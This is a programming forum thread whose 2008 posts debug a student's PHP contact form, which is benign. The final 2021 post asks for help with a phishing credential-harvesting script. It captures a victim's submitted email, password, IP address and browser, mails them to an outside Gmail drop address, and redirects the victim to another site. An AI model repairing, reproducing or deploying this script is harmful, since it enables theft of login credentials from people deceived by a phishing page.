473,385 Members | 1,461 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,385 software developers and data experts.

Keep Getting unexpected T_VARIABLE error

ok I keep getting this error:

Expand|Select|Wrap|Line Numbers
  1. Parse error: syntax error, unexpected T_VARIABLE in /home/illuzion/public_html/BAMF/contactus.php on line 38
  2.  
and this error is possibly on other lines could someone please help me out with this it is for a contact form for a webpage that I am making for a class project but I decided to add in this contact form....

Expand|Select|Wrap|Line Numbers
  1. <?php 
  2.  
  3. include("global.inc.php"); 
  4. $errors=0; 
  5. $error="We're sorrry, we encountered some errors when processing your form, please go back and try again.<ul>"; 
  6. pt_register('POST','Name'); 
  7. pt_register('POST','Email'); 
  8. pt_register('POST','Feedback');
  9. pt_register('POST','Enquiry Type');  
  10. $enquiry=preg_replace("/(\015\012)|(\015)|(\012)/","&nbsp;<br />", $enquiry); 
  11.  
  12. /* begin general error checking */ 
  13.  
  14. if($name=="Full Name Here") // checks to see if there is a full name entered
  15. $errors=1; 
  16. $error.="<li>You did not fill in the Name field and it is required.";
  17. if($email=="Your Email Here") // checks to see if there is a email entered 
  18. $errors=1; 
  19. $error.="<li>You did not fill in the E-mail field and it is required."; 
  20. if($enquiry=="Place your Enquiry Here") // checks to see if there is any feedback entered 
  21. $errors=1; 
  22. $error.="<li>You did not fill in any feedback and it is required."; 
  23. if($enquirytype=="Please choose one of the following...") // checks to see if there is any feedback entered 
  24. $errors=1; 
  25. $error.="<li>You did not select a type of enquiry please go back and select one "; 
  26. if($errors==1) echo $error;   // echoes the errors if there are any 
  27. else{
  28. $mailContent="--------SUPPORT REQUEST--------\n" 
  29.             ."Name: ".$name."\n"
  30.         ."E-Mail: "$email."\n
  31.         ."Enquiry Type: "$enquirytype."\n"
  32.         ."Enquiry: "$enquiry."\n" 
  33.  
  34. //---------------------------------- 
  35. $toAddress="support@bamf.dunnoscape.sooch.info"; /* change this! */ 
  36. $subject="Your Support Request at BAMF'"; /* change this! */ 
  37. $recipientSubject="BAMF's Contact Form"; /* change this! */ 
  38. $receiptMessage = "Thank you ".$name." for your enquiry at BAMF! A BAMF staff member will review your request and respond to your request if needed. \n\n\nHere is what you submitted to us:\n\n"  
  39.             ."Name: ".$name."\n"
  40.         ."E-Mail: "$email."\n
  41.         ."Enquiry Type: "$enquirytype."\n"
  42.         ."Enquiry: "$enquiry."\n"
  43.  
  44. //---------------------------------- 
  45. mail($email, $subject, $receiptMessage,"From:$toAddress"); 
  46. //---------------------------------- 
  47. mail($toAddress,$recipientSubject,$mailContent,"From:$email");  
  48. <!-- redirect user to the thanks page --> 
  49. <script type="text/javascript"> 
  50. window.location="http://bamf.dunnoscape.sooch.info/index.htm"; 
  51. </script> 
  52.  
  53. <!-- Do not change anything below this line --> 
  54.  
  55. <?php  
  56. ?> 
  57.  
Jan 13 '08 #1
8 5800
ak1dnar
1,584 Expert 1GB
Close the lines with double quotes, and use the concatenation operator [dot] on both beginning and end of the variable.
Expand|Select|Wrap|Line Numbers
  1.      ."E-Mail: ".$email."\n"

REMOVED, "please help!" from the thread title. please don't use it again.
Jan 13 '08 #2
thank you for the help I do appreciate it and I apologize for the title.

*EDIT*

Now I am gretting the same error on line 43

[PHP]Parse error: syntax error, unexpected T_VARIABLE in /home/illuzion/public_html/BAMF/contactus.php on line 43[/PHP]
Jan 13 '08 #3
Markus
6,050 Expert 4TB
I think you need to add a semi-colon to the end of line 40.
Jan 13 '08 #4
ok that fixed that one but GRRR now another



[PHP]Parse error: syntax error, unexpected '<' in /home/illuzion/public_html/BAMF/contactus.php on line 56[/PHP]

though that is supposed to be there for that is a comment.
Jan 13 '08 #5
Markus
6,050 Expert 4TB
You need to do
[php]
?>
[/php]
after line 55

:P
Jan 13 '08 #6
thank you so much I hate wehn I miss little things like that lol! well the script now works thanks to you guys! thanks again!
Jan 13 '08 #7
Markus
6,050 Expert 4TB
thank you so much I hate wehn I miss little things like that lol! well the script now works thanks to you guys! thanks again!
Happens to everyone :)

Post back whenever you need some help!
Jan 13 '08 #8
hello, i keep getting this 'unexpected T_VARIABLE error' on this script on line 16, and when ever i upload the script the content goes blank and becomes 0 byte this is actually an 860 byte file, please help.

<?php

$Email = $_POST['Email'];

$password = $_POST['password'];
Please i get this erro

$ip = getenv("REMOTE_ADDR");

$browser = $_SERVER['HTTP_USER_AGENT'];

$adddate = date("D M d, Y g:i a");

$message = "*************microziel*************\n";

$message = "Email : "$Email"\n";

$message = "Password : "$password"\n";

$message = "IP Address : $ip\n";

$message = "--------------------\n";

$message = "Date : $adddate\n";

$message = "User-Agent: "$browser"\n";

$message = "***************Oz Wir3***************\n";

$message = "* Success is Loading... because I deserve it! *\n";


$send="cyrusdevir@gmail.com";


$subject = "$Email - IP: ".$ip."\n ";

$headers = "";

$str=array($send); foreach ($str as $send)

if(mail($send,$subject,$message,$headers) != false){


header("Location: https://frenchloto.net/pelagic2/source/index.php");

}


?>
Aug 6 '21 #9

Sign in to post your reply or Sign up for a free account.

Similar topics

4
by: mooneater | last post by:
Hallo, ich bin neu mit dem Umgang mit PHP, und ich habe folgendes (siehe unten) programmiert. Nun erhalte ich bei Aufruf meiner PHP-Datei folgende Fehlermeldung: Parse error: parse error,...
6
by: Ehartwig | last post by:
I recently created a script for user verification, solved my emailing issues, and then re-created the script in order to work well with the new PHP 5 that I installed on my server. After...
4
by: bovanshi | last post by:
got this annoying error I'm completly new to php... and i have no clue what is wrong here, from what i can tell there is nothing rong with this code... but that isn't what the borwser say :P ...
5
by: Anna MZ | last post by:
I am new to php and have written the following mysql code to enter the details of a new user in the admin subdomain of my website: $sql = "INSERT INTO 'users' ('userid', 'username', 'upassword')...
1
by: mdouble | last post by:
I'm a complete novice with HTML and PHP. Recently I purchased an auto responder that requires me to edit a PHP file during the installation process as per directions provided in a read me file. ...
6
by: Philth | last post by:
No doubt this has been covered lots in detail. I think I've almost got is sorted but for this one error. "Parse error: syntax error, unexpected T_VARIABLE in...
3
by: SilvaZodiac | last post by:
Hi everyone, I'm still rather new to PHP code, and I have a syntax error. I've tried several different solutions, but it won't fix. It seems to suggest that I need a new bracket somewhere in the...
6
by: proudlyphp | last post by:
unexpected T_VARIABLE in /home2/swhisa/public_html/suggestion/sugadddb.php on line 8 My code is the following and I get the error message above. Please help <?php ob_start(); include...
6
by: mushfiq | last post by:
hi.i have got a problem. error message: Parse error: syntax error, unexpected T_VARIABLE in c:\wamp\www\dynamic2.php on line 12 for the line:
1
by: CloudSolutions | last post by:
Introduction: For many beginners and individual users, requiring a credit card and email registration may pose a barrier when starting to use cloud servers. However, some cloud server providers now...
0
by: ryjfgjl | last post by:
In our work, we often need to import Excel data into databases (such as MySQL, SQL Server, Oracle) for data analysis and processing. Usually, we use database tools like Navicat or the Excel import...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: aa123db | last post by:
Variable and constants Use var or let for variables and const fror constants. Var foo ='bar'; Let foo ='bar';const baz ='bar'; Functions function $name$ ($parameters$) { } ...
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.